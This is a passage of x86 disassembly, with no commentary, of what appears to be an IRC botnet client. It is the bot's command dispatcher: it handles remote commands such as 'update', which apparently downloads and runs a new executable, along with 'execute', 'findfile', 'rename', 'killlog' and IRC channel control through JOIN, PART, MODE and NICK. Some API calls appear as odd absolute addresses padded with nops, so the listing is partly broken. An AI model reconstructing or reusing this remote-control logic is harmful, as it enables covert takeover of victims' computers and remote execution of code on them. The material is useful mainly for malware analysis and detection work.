eax, [ebp+var_BC] cmp [ebp+eax*4+var_90], 0 jz loc_4080DA mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_8C], 0 jz loc_4080DA mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] call sub_421670 pop ecx push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] call sub_421670 pop ecx push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] call sub_421670 pop ecx push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_417AFA add esp, 10h test eax, eax jnz short loc_4080C5 mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset unk_44393C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_4080D8 ; --------------------------------------------------------------------------- loc_4080C5: ; CODE XREF: sub_4021E5+5EBBj push offset unk_443968 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_4080D8: ; CODE XREF: sub_4021E5+5EDEj jmp short loc_4080ED ; --------------------------------------------------------------------------- loc_4080DA: ; CODE XREF: sub_4021E5+5E26j ; sub_4021E5+5E3Aj ... push offset unk_44399C lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_4080ED: ; CODE XREF: sub_4021E5+5E12j ; sub_4021E5:loc_4080D8j push offset aVideo ; "video" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_422740 pop ecx pop ecx test eax, eax jnz loc_408226 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz loc_408213 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_94], 0 jz loc_408213 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_90], 0 jz loc_408213 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_8C], 0 jz loc_408213 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_88], 0 jz loc_408213 mov eax, [ebp+var_BC] push [ebp+eax*4+var_88] call sub_421670 pop ecx push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_8C] call sub_421670 pop ecx push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] call sub_421670 pop ecx push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] call sub_421670 pop ecx push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] call sub_417DDF add esp, 14h test eax, eax jnz short loc_4081FE mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset unk_4439DC lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch jmp short loc_408211 ; --------------------------------------------------------------------------- loc_4081FE: ; CODE XREF: sub_4021E5+5FF4j push offset unk_443A08 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_408211: ; CODE XREF: sub_4021E5+6017j jmp short loc_408226 ; --------------------------------------------------------------------------- loc_408213: ; CODE XREF: sub_4021E5+5F37j ; sub_4021E5+5F4Bj ... push offset unk_443A48 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_408226: ; CODE XREF: sub_4021E5+5F23j ; sub_4021E5:loc_408211j cmp [ebp+var_4], 0 jnz short loc_40824C push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40824C: ; CODE XREF: sub_4021E5+6045j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_408261: ; CODE XREF: sub_4021E5+5C99j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aGethost ; "gethost" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40829F mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aGh ; "gh" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4083ED loc_40829F: ; CODE XREF: sub_4021E5+6097j mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+arg_1C] call sub_421B10 pop ecx pop ecx test eax, eax jz loc_4083E5 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jz loc_408383 mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_246C], eax cmp [ebp+var_246C], 0 jz short loc_40836E push [ebp+var_246C] push [ebp+var_98] push [ebp+var_9C] push [ebp+var_A0] push offset aSSSS ; "%s %s %s :%s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 18h push 1FFh lea eax, [ebp+var_858] push eax push [ebp+arg_0] call sub_421470 add esp, 0Ch push [ebp+var_246C] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443AA4 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h mov eax, [ebp+arg_24] inc eax mov [ebp+arg_24], eax jmp short loc_408381 ; --------------------------------------------------------------------------- loc_40836E: ; CODE XREF: sub_4021E5+6114j push offset unk_443ACC lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_408381: ; CODE XREF: sub_4021E5+6187j jmp short loc_4083D8 ; --------------------------------------------------------------------------- loc_408383: ; CODE XREF: sub_4021E5+60E7j push 0 push [ebp+var_85C] push [ebp+arg_4] push [ebp+arg_1C] lea eax, [ebp+var_858] push eax call sub_41E66D add esp, 0Ch push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset dword_443AFC push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 10h loc_4083D8: ; CODE XREF: sub_4021E5:loc_408381j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx loc_4083E5: ; CODE XREF: sub_4021E5+60D3j mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4083ED: ; CODE XREF: sub_4021E5+60B4j mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_98], 0 jnz short loc_408405 push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_408405: ; CODE XREF: sub_4021E5+6216j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aKilllog ; "killlog" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40843F mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aKl ; "kl" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_408478 loc_40843F: ; CODE XREF: sub_4021E5+623Bj mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_85C] push [ebp+var_98] push [ebp+arg_4] call sub_41AAD0 add esp, 14h push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_408478: ; CODE XREF: sub_4021E5+6258j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aAddalias ; "addalias" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4084B6 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aAa ; "aa" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_408562 loc_4084B6: ; CODE XREF: sub_4021E5+62AEj cmp [ebp+var_2D4], 0 jz loc_40855A mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_2470], eax cmp [ebp+var_2470], 0 jz short loc_40855A push [ebp+var_2470] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_417280 pop ecx pop ecx mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443B34 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch cmp [ebp+var_4], 0 jnz short loc_40854D push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_40854D: ; CODE XREF: sub_4021E5+6346j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx loc_40855A: ; CODE XREF: sub_4021E5+62D8j ; sub_4021E5+6305j push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_408562: ; CODE XREF: sub_4021E5+62CBj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPrivmsg_1 ; "privmsg" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4085A0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aPm ; "pm" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_408658 loc_4085A0: ; CODE XREF: sub_4021E5+6398j cmp [ebp+var_2D4], 0 jz loc_408650 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] call sub_41EBD0 pop ecx mov esi, [ebp+var_2D4] add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_41EBD0 pop ecx lea eax, [esi+eax+2] mov [ebp+var_2D4], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_2474], eax cmp [ebp+var_2474], 0 jz short loc_408650 push 0 push 0 push [ebp+var_2474] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+arg_4] call sub_40B00F add esp, 14h push [ebp+var_2474] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443B60 call sub_417472 add esp, 0Ch loc_408650: ; CODE XREF: sub_4021E5+63C2j ; sub_4021E5+6427j mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_408658: ; CODE XREF: sub_4021E5+63B5j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aAction ; "action" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_408696 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aA ; "a" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_408769 loc_408696: ; CODE XREF: sub_4021E5+648Ej cmp [ebp+var_2D4], 0 jz loc_408761 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] call sub_41EBD0 pop ecx mov esi, [ebp+var_2D4] add esi, eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_41EBD0 pop ecx lea eax, [esi+eax+2] mov [ebp+var_2D4], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_2478], eax cmp [ebp+var_2478], 0 jz short loc_408761 push [ebp+var_2478] push offset dword_443B8C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push 0 push 0 lea eax, [ebp+var_858] push eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+arg_4] call sub_40B00F add esp, 14h push [ebp+var_2478] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset unk_443B98 call sub_417472 add esp, 0Ch loc_408761: ; CODE XREF: sub_4021E5+64B8j ; sub_4021E5+651Dj mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_408769: ; CODE XREF: sub_4021E5+64ABj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aCycle ; "cycle" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4087A7 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aCy ; "cy" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40883F loc_4087A7: ; CODE XREF: sub_4021E5+659Fj push [ebp+var_9C] push offset a332_0 ; "332" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4087C5 push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4087C5: ; CODE XREF: sub_4021E5+65D6j mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset aPartS_0 ; "PART %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 3E8h push eax call near ptr 27A0000h nop mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset aJoinSS_2 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 10h push offset dword_443BE0 call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40883F: ; CODE XREF: sub_4021E5+65BCj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aMode ; "mode" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_408879 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aM ; "m" call sub_422740 pop ecx pop ecx test eax, eax jnz short loc_4088DB loc_408879: ; CODE XREF: sub_4021E5+6675j cmp [ebp+var_2D4], 0 jz short loc_4088D3 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_247C], eax cmp [ebp+var_247C], 0 jz short loc_4088D3 push [ebp+var_247C] push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40AFBE add esp, 0Ch push [ebp+var_247C] push offset unk_443C0C call sub_417472 pop ecx pop ecx loc_4088D3: ; CODE XREF: sub_4021E5+669Bj ; sub_4021E5+66C4j mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4088DB: ; CODE XREF: sub_4021E5+6692j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_raw ; "c_raw" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_408919 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_r ; "c_r" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_4089DE loc_408919: ; CODE XREF: sub_4021E5+6711j cmp [ebp+var_2D4], 0 jz loc_4089D6 mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_2480], eax cmp [ebp+var_2480], 0 jz loc_4089D6 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx test eax, eax jle short loc_4089D6 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx cmp eax, 400h jge short loc_4089D6 push [ebp+var_2480] push offset aS_13 ; "%s\r\n" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_454624[eax] call sub_40AFBE add esp, 0Ch push [ebp+var_2480] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset dword_443C3C call sub_417472 add esp, 0Ch loc_4089D6: ; CODE XREF: sub_4021E5+673Bj ; sub_4021E5+6768j ... mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_4089DE: ; CODE XREF: sub_4021E5+672Ej mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_mode ; "c_mode" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_408A1C mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_m ; "c_m" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_408AF8 loc_408A1C: ; CODE XREF: sub_4021E5+6814j cmp [ebp+var_2D4], 0 jz loc_408AF0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_2484], eax cmp [ebp+var_2484], 0 jz short loc_408A6C push [ebp+var_2484] push offset aModeS_0 ; "MODE %s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_408A6C: ; CODE XREF: sub_4021E5+686Bj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx test eax, eax jle short loc_408AF0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx cmp eax, 400h jge short loc_408AF0 lea eax, [ebp+var_858] push eax push offset aS_14 ; "%s\r\n" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_454624[eax] call sub_40AFBE add esp, 0Ch push [ebp+var_2484] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset dword_443C74 call sub_417472 add esp, 0Ch loc_408AF0: ; CODE XREF: sub_4021E5+683Ej ; sub_4021E5+689Cj ... mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_408AF8: ; CODE XREF: sub_4021E5+6831j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_nick ; "c_nick" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_408B36 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_n ; "c_n" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_408BEA loc_408B36: ; CODE XREF: sub_4021E5+692Ej mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset aNickS_2 ; "NICK %s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx test eax, eax jle short loc_408BE2 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx cmp eax, 400h jge short loc_408BE2 lea eax, [ebp+var_858] push eax push offset aS_15 ; "%s\r\n" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_454624[eax] call sub_40AFBE add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset dword_443CAC call sub_417472 add esp, 0Ch loc_408BE2: ; CODE XREF: sub_4021E5+6987j ; sub_4021E5+69A1j mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_4021E5+694Bj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_join ; "c_join" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_408C28 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_j ; "c_j" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_408CC2 loc_408C28: ; CODE XREF: sub_4021E5+6A20j mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset aJoinSS_3 ; "JOIN %s %s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 10h mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx test eax, eax jle short loc_408CBA mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx cmp eax, 400h jge short loc_408CBA lea eax, [ebp+var_858] push eax push offset aS_16 ; "%s\r\n" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_454624[eax] call sub_40AFBE add esp, 0Ch loc_408CBA: ; CODE XREF: sub_4021E5+6A86j ; sub_4021E5+6AA0j mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_408CC2: ; CODE XREF: sub_4021E5+6A3Dj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_part ; "c_part" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_408D00 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aC_p ; "c_p" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_408D8D loc_408D00: ; CODE XREF: sub_4021E5+6AF8j mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset aPartS_1 ; "PART %s" lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx test eax, eax jle short loc_408D85 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx cmp eax, 400h jge short loc_408D85 lea eax, [ebp+var_858] push eax push offset aS_17 ; "%s\r\n" mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx imul eax, 234h push dword_454624[eax] call sub_40AFBE add esp, 0Ch loc_408D85: ; CODE XREF: sub_4021E5+6B51j ; sub_4021E5+6B6Bj mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_408D8D: ; CODE XREF: sub_4021E5+6B15j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aUpdate ; "update" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_408DCB mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aUp_0 ; "up" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_40901E loc_408DCB: ; CODE XREF: sub_4021E5+6BC3j mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push offset dword_4410A0 call sub_422740 pop ecx pop ecx test eax, eax jz loc_408FD0 lea eax, [ebp+var_284C] push eax push 104h call near ptr 27C01D4h nop push 0FFh mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] lea eax, [ebp+var_26A8] push eax call sub_421470 add esp, 0Ch lea eax, [ebp+var_2748] push eax call sub_40CAA0 pop ecx push eax lea eax, [ebp+var_284C] push eax push offset aSS_exe ; "%s%s.exe" lea eax, [ebp+var_25A8] push eax call sub_4219C0 add esp, 10h mov [ebp+var_24A4], 1 and [ebp+var_24A0], 0 mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_94], 0 jz short loc_408E8A push 10h push 0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_94] call sub_4223B0 add esp, 0Ch mov [ebp+var_4150], eax jmp short loc_408E91 ; --------------------------------------------------------------------------- loc_408E8A: ; CODE XREF: sub_4021E5+6C82j and [ebp+var_4150], 0 loc_408E91: ; CODE XREF: sub_4021E5+6CA3j mov eax, [ebp+var_4150] mov [ebp+var_2498], eax mov eax, [ebp+var_BC] cmp [ebp+eax*4+var_90], 0 jz short loc_408EC8 mov eax, [ebp+var_BC] push [ebp+eax*4+var_90] call sub_421670 pop ecx mov [ebp+var_4154], eax jmp short loc_408ECF ; --------------------------------------------------------------------------- loc_408EC8: ; CODE XREF: sub_4021E5+6CC6j and [ebp+var_4154], 0 loc_408ECF: ; CODE XREF: sub_4021E5+6CE1j mov eax, [ebp+var_4154] mov [ebp+var_249C], eax movzx eax, [ebp+var_36F] mov [ebp+var_2494], eax mov eax, [ebp+arg_4] mov [ebp+var_272C], eax push 7Fh push [ebp+var_98] lea eax, [ebp+var_2728] push eax call sub_421470 add esp, 0Ch mov eax, [ebp+var_85C] mov [ebp+var_248C], eax mov eax, [ebp+var_4] mov [ebp+var_2490], eax mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push offset dword_443D1C lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch push [ebp+arg_4] push 1Eh lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_24A8], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_272C] push eax push offset byte_418FCD push 0 push 0 nop call near ptr 27A0169h mov ecx, [ebp+var_24A8] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_24A8] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_408FB3 loc_408F9E: ; CODE XREF: sub_4021E5+6DCAj cmp [ebp+var_2488], 0 jnz short loc_408FB1 push 32h nop call near ptr 27A0000h jmp short loc_408F9E ; --------------------------------------------------------------------------- loc_408FB1: ; CODE XREF: sub_4021E5+6DC0j jmp short loc_408FCE ; --------------------------------------------------------------------------- loc_408FB3: ; CODE XREF: sub_4021E5+6DB7j nop call near ptr 27A0A66h push eax push offset dword_443D48 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_408FCE: ; CODE XREF: sub_4021E5:loc_408FB1j jmp short loc_408FE3 ; --------------------------------------------------------------------------- loc_408FD0: ; CODE XREF: sub_4021E5+6C01j push offset dword_443D84 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx loc_408FE3: ; CODE XREF: sub_4021E5:loc_408FCEj cmp [ebp+var_4], 0 jnz short loc_409009 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_409009: ; CODE XREF: sub_4021E5+6E02j lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_4021E5+6BE0j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aExecute ; "execute" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40905C mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aE ; "e" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_409178 loc_40905C: ; CODE XREF: sub_4021E5+6E54j push 44h push 0 lea eax, [ebp+var_2890] push eax call sub_421410 add esp, 0Ch mov [ebp+var_2890], 44h mov [ebp+var_2864], 1 and [ebp+var_2860], 0 mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call sub_421670 pop ecx cmp eax, 1 jnz short loc_4090AC mov [ebp+var_2860], 5 loc_4090AC: ; CODE XREF: sub_4021E5+6EBCj cmp [ebp+var_2D4], 0 jz loc_40913D mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_28A4], eax cmp [ebp+var_28A4], 0 jz short loc_40913D lea eax, [ebp+var_28A0] push eax lea eax, [ebp+var_2890] push eax push 0 push 0 push 28h push 1 push 0 push 0 push [ebp+var_28A4] push 0 nop call near ptr 278056Fh test eax, eax jnz short loc_409123 push offset unk_443DD8 lea eax, [ebp+var_858] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_40913D ; --------------------------------------------------------------------------- loc_409123: ; CODE XREF: sub_4021E5+6F27j push [ebp+var_28A4] push offset dword_443DFC lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_40913D: ; CODE XREF: sub_4021E5+6ECEj ; sub_4021E5+6EFBj ... cmp [ebp+var_4], 0 jnz short loc_409163 push 0 push [ebp+var_85C] lea eax, [ebp+var_858] push eax push [ebp+var_98] push [ebp+arg_4] call sub_40B00F add esp, 14h loc_409163: ; CODE XREF: sub_4021E5+6F5Cj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx mov eax, [ebp+arg_24] jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_409178: ; CODE XREF: sub_4021E5+6E71j mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aFindfile ; "findfile" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_4091B6 mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aFf ; "ff" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_409320 loc_4091B6: ; CODE XREF: sub_4021E5+6FAEj mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] push 104h lea eax, [ebp+var_2ABC] push eax call sub_421B90 add esp, 0Ch cmp [ebp+var_2D4], 0 jz short loc_40921D mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] push [ebp+var_2D4] call sub_421B10 pop ecx pop ecx mov [ebp+var_2B44], eax cmp [ebp+var_2B44], 0 jz short loc_40921D push [ebp+var_2B44] lea eax, [ebp+var_29B8] push eax call sub_4219C0 pop ecx pop ecx loc_40921D: ; CODE XREF: sub_4021E5+6FF9j ; sub_4021E5+7022j push [ebp+var_98] push 80h lea eax, [ebp+var_2B3C] push eax call sub_421B90 add esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_2B40], eax mov eax, [ebp+var_85C] mov [ebp+var_28B0], eax mov eax, [ebp+var_4] mov [ebp+var_28AC], eax lea eax, [ebp+var_29B8] push eax lea eax, [ebp+var_2ABC] push eax push offset unk_443E28 push 200h lea eax, [ebp+var_858] push eax call sub_421B90 add esp, 14h push 0 push 24h lea eax, [ebp+var_858] push eax call sub_40D32A add esp, 0Ch mov [ebp+var_28B4], eax lea eax, [ebp+var_868] push eax push 0 lea eax, [ebp+var_2B40] push eax push offset word_419B2A push 0 push 0 call near ptr 27A0169h nop mov ecx, [ebp+var_28B4] imul ecx, 234h mov dword_45462C[ecx], eax mov eax, [ebp+var_28B4] imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_4092F0 loc_4092DB: ; CODE XREF: sub_4021E5+7107j cmp [ebp+var_28A8], 0 jnz short loc_4092EE push 32h call near ptr 27A0000h nop jmp short loc_4092DB ; --------------------------------------------------------------------------- loc_4092EE: ; CODE XREF: sub_4021E5+70FDj jmp short loc_40930B ; --------------------------------------------------------------------------- loc_4092F0: ; CODE XREF: sub_4021E5+70F4j nop call near ptr 27A0A66h push eax push offset unk_443E58 lea eax, [ebp+var_858] push eax call sub_4219C0 add esp, 0Ch loc_40930B: ; CODE XREF: sub_4021E5:loc_4092EEj lea eax, [ebp+var_858] push eax call sub_4173DC pop ecx push 1 pop eax jmp loc_40AFBB ; --------------------------------------------------------------------------- loc_409320: ; CODE XREF: sub_4021E5+6FCBj mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aRename ; "rename" call sub_422740 pop ecx pop ecx test eax, eax jz short loc_40935E mov eax, [ebp+var_BC] push [ebp+eax*4+var_A0] push offset aMv ; "mv" call sub_422740 pop ecx pop ecx test eax, eax jnz loc_409412 loc_40935E: ; CODE XREF: sub_4021E5+7156j mov eax, [ebp+var_BC] push [ebp+eax*4+var_98] mov eax, [ebp+var_BC] push [ebp+eax*4+var_9C] call near ptr 27C0000h nop test eax, eax jz short loc_4093B7 mov eax, [ebp+var_BC] push 